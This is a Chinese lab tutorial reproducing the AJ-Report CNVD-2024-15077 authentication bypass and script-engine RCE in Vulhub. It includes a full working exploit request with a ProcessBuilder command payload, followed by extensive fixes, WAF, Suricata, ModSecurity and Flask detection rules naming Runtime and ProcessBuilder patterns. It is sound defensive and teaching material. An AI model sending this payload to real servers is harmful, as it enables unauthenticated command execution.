手把手教你用Vulhub复现aj-report CNVD-2024-15077漏洞(附完整POC)

0 阅读13分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

漏洞名称:AJ-Report 数据大屏系统 存在认证绕过 & 远程代码执行漏洞
CNVD 编号:CNVD-2024-15077
等价 CVE:CVE-2024-7314
影响版本:AJ-Report < 1.4.1
漏洞类型:认证绕过 + 远程命令执行
危害等级:Critical(高危)

漏洞核心原理(Concept)

这个漏洞本质上是认证绕过(Authentication Bypass)配合参数不安全解析导致远程命令执行(RCE)。它的两个关键点是:

  1. 绕过认证
    攻击者调用受保护接口时,在 URL 中添加类似 ;swagger-ui(矩阵参数)的路径后缀,从而绕过了 AJ-Report 的Token/认证过滤逻辑。该路径被框架错误地认为是合法访问,不触发认证拦截。
  2. 不安全的脚本引擎执行
    在绕过认证后,漏洞利用依赖于 validationRules 参数未被过滤,直接传递给 Nashorn JavaScript 引擎的 ScriptEngine.eval() 执行,从而可能执行任意 Java 代码或系统命令。

总结:攻击者通过构造特制路径 + 携带恶意 JavaScript/Java 代码触发 RCE。

A. 鉴权绕过原理(分号利用) AJ-Report 的权限过滤器在拦截请求时,往往使用 request.getRequestURI() 进行路径匹配。

  • 攻击者技巧:在 URL 后缀添加 ;swagger-ui
  • 过滤器逻辑:由于配置了 Swagger 相关路径(如 /swagger-ui/**)为匿名访问,过滤器看到后缀后误认为这是一个静态资源请求,从而放行。
  • 后端匹配:Spring MVC 在路由请求到 Controller 时,会自动剥离分号后的内容,将请求准确送达 /dataSetParam/verification 这个本应受保护的敏感接口。

B. 代码注入点(脚本引擎) 该接口接受 validationRules 参数,后端代码直接将其传入 javax.script.ScriptEngine.eval()

  • Payload 构造:利用 Java 1.8 默认自带的 Nashorn 脚本引擎,通过 java.lang.Runtime 调用系统命令。

    validationRules = "java.lang.Runtime.getRuntime().exec('whoami')"

攻击场景流程图 + DFD 威胁建模

下面是该漏洞的攻击流程图

flowchart TD
    A[攻击者] --> B[构造恶意HTTP请求]
    B --> C[POST /dataSetParam/verification<br>路径包含swagger-ui后缀]
    C --> D[请求到达AJ-Report应用]
    D --> E[认证过滤器检查]
    E --> F{路径包含swagger-ui<br>被误判为文档请求}
    F -->|是| G[跳过认证检查]
    F -->|否| H[执行正常认证]
    G --> I[转发到控制器]
    H --> Z[返回401/403]
    I --> J[获取validationRules参数]
    J --> K[执行ScriptEngine.eval]
    K --> L[执行用户提供的JavaScript代码]
    L --> M[通过Java反射调用Runtime.exec]
    M --> N[执行系统命令]
    N --> O[获取命令执行结果]
    O --> P[返回给攻击者]
    
    style C fill:#ff9999
    style F fill:#ff6666
    style K fill:#ff3333
    style M fill:#cc0000

漏洞原理代码图示

  1. 认证过滤器漏洞代码
┌─────────────────────────────────────────────────────┐
│           AJ-Report 认证过滤器漏洞                   │
├─────────────────────────────────────────────────────┤
│  @Override                                          │
│  public boolean preHandle(HttpServletRequest req,   │
│                          HttpServletResponse res,   │
│                          Object handler) {          │
│      String uri = req.getRequestURI();              │
│                                                     │
│      // 漏洞点:检查路径是否包含"swagger-ui"         │if (uri.contains("swagger-ui")) {              │
│          // 误判为Swagger UI文档请求,跳过认证      │return true;                               │
│      }                                              │
│                                                     │
│      // 正常认证流程...                             │return checkAuth(req);                         │
│  }                                                  │
└─────────────────────────────────────────────────────┘

认证过滤器逻辑:
    if (requestURI.contains("swagger-ui")) {
        // 认为是Swagger UI文档请求
        // 跳过认证检查 ← 漏洞点
        return true;
    }
    
攻击者利用:
    原始路径:/dataSetParam/verification
    恶意路径:/dataSetParam/verification;swagger-ui
    
    结果:包含"swagger-ui"字符串,绕过认证
    
  1. 控制器漏洞代码
┌─────────────────────────────────────────────────────┐
│           dataSetParamController 漏洞                │
├─────────────────────────────────────────────────────┤
│  @PostMapping("/verification")                      │
│  public Result verification(@RequestBody Map<String,│
│                              Object> param) {       │
│      // 从请求参数获取validationRules               │String validationRules =                       │
│          (String) param.get("validationRules");     │
│                                                     │
│      // 漏洞点:直接执行用户输入的脚本代码          │ScriptEngine engine =                          │
│          new ScriptEngineManager()                  │
│          .getEngineByName("JavaScript");            │
│                                                     │
│      try {                                          │
│          // 执行任意JavaScript代码                  │Object result = engine.eval(validationRules);│
│          return Result.ok(result);                  │
│      } catch (ScriptException e) {                  │
│          return Result.error(e.getMessage());       │
│      }                                              │
│  }                                                  │
└─────────────────────────────────────────────────────┘

控制器代码:
    @PostMapping("/verification")
    public Result verification(@RequestBody Map param) {
        String validationRules = (String) param.get("validationRules");
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
        Object result = engine.eval(validationRules); ← 漏洞点
        return Result.ok(result);
    }
    
攻击payload示例:
    {
        "validationRules": "java.lang.Runtime.getRuntime().exec('id')"
    }

DFD 威胁建模(简化)

[External Entity]
    Attacker
        |
        |  (1) HTTP Request with crafted semicolon suffix
        v
[Process P1: Request Parser / Auth Filter]
        |
        |  (2) Auth Bypass due to incorrect route handling
        v
[Process P2: validationRules Handler]
        |
        |  (3) eval() script with attacker input
        v
[System Execution / OS Process]


STRIDE 分析

威胁类型是否存在说明
Spoofing⚠️无需合法认证即可访问
Tampering攻击者控制参数执行系统命令
Repudiation⚠️操作难归属到合法用户
Info Disclosure⚠️可读取结果/错误信息
DoS代码执行可致阻断服务
Elevation of Privilege普通攻击者获得服务器 RCE

漏洞复现原理图示说明

flowchart TD
    A[攻击者] --> B[构造恶意HTTP请求]
    B --> C[POST /dataSetParam/verification<br>路径包含swagger-ui后缀]
    C --> D[请求到达AJ-Report应用]
    D --> E[认证过滤器检查]
    E --> F{路径包含swagger-ui<br>被误判为文档请求}
    F -->|是| G[跳过认证检查]
    F -->|否| H[执行正常认证]
    G --> I[转发到控制器]
    H --> Z[返回401/403]
    I --> J[获取validationRules参数]
    J --> K[执行ScriptEngine.eval]
    K --> L[执行用户提供的JavaScript代码]
    L --> M[通过Java反射调用Runtime.exec]
    M --> N[执行系统命令]
    N --> O[获取命令执行结果]
    O --> P[返回给攻击者]
    
    style C fill:#ff9999
    style F fill:#ff6666
    style K fill:#ff3333
    style M fill:#cc0000

下面用原理图示说明该漏洞是如何被利用的:

Normal Flow:
ClientPOST /dataSetParam/verification → Auth Filter → parameter validation → safe response

Vulnerable Flow:
AttackerPOST /dataSetParam/verification;swagger-ui → Auth Filter SkipProcess validationRules → eval(validationRules) → ScriptEngine executes attacker code
              ↓
         RCE / System Command Execution


AJ-Report 使用 Spring Boot 路由处理,当 URL 中出现分号附加部分(如 ;swagger-ui)时,路由匹配成功但TokenFilter未按预期激活,从而导致认证被绕过,最终执行不安全的脚本引擎逻辑。

┌────────────┐    ① 构造恶意请求路径:/dataSetParam/verification;swagger-ui
│ 攻击者     │ ─────────────────────────────────────────────────────┐
└────────────┘                                                        │
      │                                                                ▼
      │ ② 在请求体中添加 validationRules 参数,包含恶意 JavaScript 代码
      │   (如:java.lang.Runtime.getRuntime().exec("id"))            │
      │ ──────────────────────────────────────────────────────────────│
      ▼                                                                │
┌─────────────────────┐                                               │
│ AJ-Report 认证过滤器│ ◄──────────────────────────────────────────────┘
│  检查路径,发现包含 │   ③ 认证过滤器被绕过,请求进入控制器
│  "swagger-ui" 后缀  │
│  跳过认证           │
└─────────┬───────────┘
          │ ④ 调用 ScriptEngine.eval(validationRules)
          ▼
┌─────────────────────┐
│  恶意代码执行       │
│  攻击者获得系统权限 │
└─────────────────────┘

漏洞复现

用弱口令进入登陆界面,

Snipaste_2026-01-18_17-55-45.png

发送以下数据包

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: localhost:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

Snipaste_2026-01-18_17-53-58.png 可以看到id命令执行成功。

修复建议

修复措施

  1. 升级到官方修复版本 AJ-Report 1.4.1 及以上版本 修复了该漏洞,应立即升级。

  2. 关闭或限制敏感功能

可临时在 Web 服务器层:

  • 禁止 ; 矩阵参数
  • 禁止访问 Swagger 附加入口
  • 强制 TokenFilter 在所有请求阶段执行
  1. 强化输入验证

在服务器端对 validationRules 严格过滤:

  • 禁止任意执行代码字符串
  • 对脚本引擎执行内容进行白名单校验

伪代码级修复示例

// 修复点 1:权限过滤器加强
public boolean doFilter(HttpServletRequest request) {
    // 强制清理路径中的分号等矩阵变量
    String cleanPath = PathUtils.normalize(request.getServletPath());
    if (isWhiteList(cleanPath)) {
        return true; 
    }
    return checkToken(request);
}

// 修复点 2:业务端参数校验
@PostMapping("/verification")
public Result verify(@RequestBody DataSetParam param) {
    String rules = param.getValidationRules();
    // 严禁包含 Java 反射或 Runtime 等敏感关键字
    if (rules.contains("java.lang") || rules.contains("Runtime")) {
        throw new SecurityException("Illegal Script Detect!");
    }
    // 执行脚本前设置沙箱上下文
    return scriptEngine.eval(rules, safeContext);
}

修复方案1:认证过滤器修复

// 修复认证过滤器,使用精确匹配而不是contains
@Component
public class SecurityFilter implements Filter {
    
    private static final Set<String> PUBLIC_PATHS = Set.of(
        "/swagger-ui.html",
        "/swagger-ui/",
        "/v2/api-docs",
        "/webjars/"
    );
    
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, 
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        String uri = request.getRequestURI();
        
        // 1. 移除路径中的特殊字符
        String cleanUri = cleanPath(uri);
        
        // 2. 精确匹配公共路径
        boolean isPublic = PUBLIC_PATHS.stream()
            .anyMatch(path -> cleanUri.startsWith(path));
        
        // 3. 额外的安全检测
        if (uri.contains(";") || uri.contains("%3B")) {
            // 记录并阻止可疑请求
            logSecurityEvent(request, "SUSPICIOUS_PATH", uri);
            sendForbidden(res);
            return;
        }
        
        if (!isPublic) {
            // 执行认证检查
            if (!isAuthenticated(request)) {
                sendUnauthorized(res);
                return;
            }
        }
        
        chain.doFilter(req, res);
    }
    
    private String cleanPath(String uri) {
        // 移除路径中的分号等特殊字符
        return uri.split(";")[0];
    }
}

修复方案2:控制器安全加固

@RestController
@RequestMapping("/dataSetParam")
public class SecureDataSetParamController {
    
    // 使用安全的脚本执行环境
    private final SafeScriptExecutor scriptExecutor;
    
    @PostMapping("/verification")
    public ResponseEntity<?> verification(@RequestBody @Valid ValidationRequest request) {
        // 1. 验证输入长度和内容
        if (!isValidValidationRules(request.getValidationRules())) {
            return ResponseEntity.badRequest().body("Invalid validation rules");
        }
        
        try {
            // 2. 使用安全的执行引擎
            Object result = scriptExecutor.safeEval(
                request.getValidationRules(),
                request.getParameters()
            );
            
            return ResponseEntity.ok(Result.success(result));
        } catch (SecurityException e) {
            // 3. 记录安全异常
            log.warn("Security violation in script execution: {}", e.getMessage());
            return ResponseEntity.status(HttpStatus.FORBIDDEN)
                .body("Security policy violation");
        }
    }
    
    private boolean isValidValidationRules(String rules) {
        // 限制长度
        if (rules == null || rules.length() > 1000) {
            return false;
        }
        
        // 检查是否包含危险关键字
        String[] dangerousKeywords = {
            "Runtime", "Process", "exec", "System", "ClassLoader",
            "File", "Writer", "Reader", "Network", "Socket"
        };
        
        for (String keyword : dangerousKeywords) {
            if (rules.contains(keyword)) {
                return false;
            }
        }
        
        return true;
    }
}

修复方案3:安全配置

# application-security.yml
security:
  path:
    # 精确配置公共路径
    public-paths:
      - /swagger-ui.html
      - /swagger-ui/**
      - /v2/api-docs
      - /webjars/**
    
    # 阻止特殊字符
    block-special-chars-in-path: true
    blocked-chars: [";", "..", "%00", "%0a", "%0d"]
  
  script:
    # 禁用危险脚本功能
    enable-script-engine: false
    safe-mode: true
    
    # 白名单允许的函数
    allowed-functions:
      - "Math.*"
      - "String.*"
      - "Date.*"
    
  validation:
    # 输入验证配置
    max-input-length: 1000
    regex-pattern: "^[a-zA-Z0-9\\s\\+\\-\\*\\/\\(\\)\\.\\[\\]\\{\\}]+$"

基于该漏洞的安全检测与防护规则

尽管 RCE 利用细节属于深层应用逻辑层,但仍可设计检测规则来探测相关恶意行为:

  1. WAF 规则(阻断矩阵参数滥用)
# Nginx配置阻止攻击
location ~* /dataSetParam/verification.*swagger-ui {
    deny all;
    return 403;
}

location ~* \.(js|jsp)$ {
    # 阻止包含恶意关键字的请求体
    if ($request_body ~* "java\.lang\.Runtime|getRuntime\(\)|exec\(") {
        return 403;
    }
}

匹配携带分号的路径访问敏感验证接口。

  1. IDS / Suricata 规则
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"AJ-Report RCE Attempt via Auth Bypass";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dataSetParam/verification"; http_uri;
    content:";swagger-ui"; http_uri;
    content:"validationRules"; http_client_body;
    pcre:"/java\\.lang\\.Runtime|getRuntime\\(\\s*\\)/Pi";
    classtype:web-application-attack;
    sid:2024001;
    rev:1;
)

3. SIEM 关联检测建议

{
  "rule": {
    "name": "AJ-Report_RCE_Attempt",
    "query": "http.request.uri: \"/dataSetParam/verification\" AND http.request.body: \"validationRules\" AND (http.request.uri: \";swagger-ui\" OR http.request.body: \"Runtime.exec\" OR http.request.body: \"getRuntime()\")",
    "severity": "CRITICAL",
    "actions": ["alert", "block_ip", "notify_admin"]
  },
  "conditions": {
    "time_window": "5m",
    "threshold": 3
  }
}

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 AJ-Report 的请求进行预处理,拦截恶意请求。

1.1 Flask 中间件:认证绕过检测与输入验证

# aj_report_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time

app = Flask(__name__)

# 敏感路径列表(根据 AJ-Report 实际端点调整)
SENSITIVE_PATHS = [
    '/dataSetParam/verification',
    '/dataSetParam/verification/',
]

# 认证绕过检测:检查路径中是否包含分号+swagger-ui
def has_auth_bypass(path):
    return re.search(r';swagger-ui', path, re.IGNORECASE) is not None

# 检测恶意 JavaScript/Java 代码特征
RCE_PATTERNS = [
    re.compile(r'java\.lang\.Runtime', re.I),
    re.compile(r'getRuntime\(\)\.exec', re.I),
    re.compile(r'ProcessBuilder', re.I),
    re.compile(r'eval\s*\(', re.I),
    re.compile(r'exec\s*\(', re.I),
    re.compile(r'child_process', re.I),  # Node.js 相关
]

def contains_rce_payload(data):
    for pattern in RCE_PATTERNS:
        if pattern.search(data):
            return True
    return False

# 简单的速率限制
request_records = {}

def rate_limit(ip, limit=30, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 检查路径是否敏感
    for path in SENSITIVE_PATHS:
        if request.path.startswith(path):
            # 2. 检测认证绕过
            if has_auth_bypass(request.path):
                log_attack(request, 'auth_bypass')
                abort(403, description='Auth bypass attempt detected')
            
            # 3. 检查请求体/参数中的 RCE payload
            if request.method in ['POST', 'PUT']:
                data = request.get_data(as_text=True)
                if contains_rce_payload(data):
                    log_attack(request, 'rce_payload')
                    abort(403, description='Malicious payload detected')
            elif request.method == 'GET':
                args = request.args.to_dict()
                for key, value in args.items():
                    if contains_rce_payload(value):
                        log_attack(request, 'rce_payload')
                        abort(403, description='Malicious payload detected')
            
            # 4. 对未认证请求进行速率限制(可选)
            # 假设认证信息在 cookie 或 header 中
            is_authenticated = request.cookies.get('token') or request.headers.get('Authorization')
            if not is_authenticated:
                if rate_limit(request.remote_addr):
                    abort(429, description='Too many requests')
            break  # 仅处理敏感路径

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type):
    with open('attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")

# 转发请求到后端 AJ-Report
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 此处应实际转发请求到 AJ-Report 服务器(如 http://localhost:8080)
    # 示例中仅返回模拟信息
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

1.2 日志监控脚本 实时分析 AJ-Report 访问日志,发现包含 ;swagger-ui 或 RCE 特征的请求。

# monitor_logs.py
import re
import sys

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
AUTH_BYPASS_PATTERN = re.compile(r';swagger-ui', re.I)
RCE_PATTERNS = [
    re.compile(r'java\.lang\.Runtime', re.I),
    re.compile(r'getRuntime\(\)\.exec', re.I),
]

def analyze_log(logfile):
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            path = match.group('path')
            ip = match.group('ip')
            if AUTH_BYPASS_PATTERN.search(path):
                print(f"[!] 认证绕过尝试:IP {ip} 访问 {path}")
            # 可选:检查响应内容中是否有错误信息,或单独分析 POST 数据

基于 TensorFlow 的异常行为检测

利用机器学习模型识别针对 AJ-Report 的异常访问模式,特别是对敏感端点的攻击尝试。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • has_semicolon: 路径是否包含分号(0/1)
  • has_swagger: 路径是否包含 "swagger-ui"(0/1)
  • method: 请求方法(GET=1, POST=2, PUT=3, DELETE=4)
  • body_length: 请求体长度(若为POST)
  • has_runtime_keyword: 请求体中是否包含 Runtime 等关键字
  • hour: 请求小时
  • ip_reputation: IP 信誉分(如来自代理或恶意IP)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    # request_entry 包含: ip, path, method, body, user_agent, is_auth, timestamp
    import hashlib
    features = [
        len(request_entry['path']),
        1 if ';' in request_entry['path'] else 0,
        1 if 'swagger-ui' in request_entry['path'].lower() else 0,
        {'GET':1, 'POST':2, 'PUT':3, 'DELETE':4}.get(request_entry['method'], 0),
        len(request_entry.get('body', '')),
        1 if 'Runtime' in request_entry.get('body', '') else 0,
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),  # 需实现
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('ajreport_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np

model = load_model('ajreport_anomaly_model.h5')
THRESHOLD = 0.8

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

# 在 Flask 中间件中调用
@app.before_request
def before_request():
    # ... 其他检测 ...
    if request.path.startswith('/dataSetParam/verification'):
        # 构建 request_entry 和 history
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'body': request.get_data(as_text=True),
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': bool(request.cookies.get('token') or request.headers.get('Authorization')),
            'timestamp': datetime.now()
        }
        history = get_ip_history(request.remote_addr)  # 需从缓存获取
        if predict_anomaly(request_entry, history):
            abort(403, description='Anomaly detected')

基于 ModSecurity 的 WAF 规则 在 Apache/NGINX 中部署 ModSecurity,拦截对 AJ-Report 的认证绕过和 RCE 尝试。 3.1 基础规则

# modsecurity_crs_69_ajreport_cnvd_2024_15077.conf

# 规则1:拦截路径中包含 ;swagger-ui 的请求
SecRule REQUEST_URI "@contains ;swagger-ui" \
    "id:1006001,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'AJ-Report CNVD-2024-15077 - Auth bypass attempt',\
    logdata:'Request URI: %{REQUEST_URI}',\
    tag:'attack-auth-bypass',\
    tag:'cnvd-2024-15077',\
    severity:'CRITICAL'"

# 规则2:检测 POST/PUT 请求体中包含 RCE 关键字
SecRule REQUEST_BODY "@rx (?i)(java\.lang\.Runtime|getRuntime\(\)\.exec|ProcessBuilder|eval\s*\()" \
    "id:1006002,\
    phase:2,\
    t:none,\
    block,\
    capture,\
    msg:'AJ-Report RCE attempt - Java/Runtime in body',\
    logdata:'Matched: %{TX.0}',\
    tag:'attack-rce',\
    severity:'CRITICAL'"

# 规则3:检测 GET 参数中的 RCE 关键字
SecRule ARGS "@rx (?i)(java\.lang\.Runtime|getRuntime\(\)\.exec|ProcessBuilder|eval\s*\()" \
    "id:1006003,\
    phase:2,\
    t:none,\
    block,\
    capture,\
    msg:'AJ-Report RCE attempt - Java/Runtime in args',\
    logdata:'Matched: %{TX.0}',\
    tag:'attack-rce',\
    severity:'CRITICAL'"

# 规则4:对敏感端点进行速率限制(防止扫描)
SecRule REQUEST_URI "@beginsWith /dataSetParam/verification" \
    "id:1006004,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'AJ-Report verification endpoint rate limiting',\
    setvar:'tx.verification_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.verification_counter_%{REMOTE_ADDR}=60'"
SecRule TX:verification_counter_%{REMOTE_ADDR} "@gt 10" \
    "id:1006005,\
    phase:1,\
    block,\
    msg:'Too many requests to verification endpoint',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name ajreport.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://aj-report-backend:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CNVD-2024-15077 是一个严重的前置认证绕过+RCE漏洞。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 AJ-Report 的用户立即采取行动。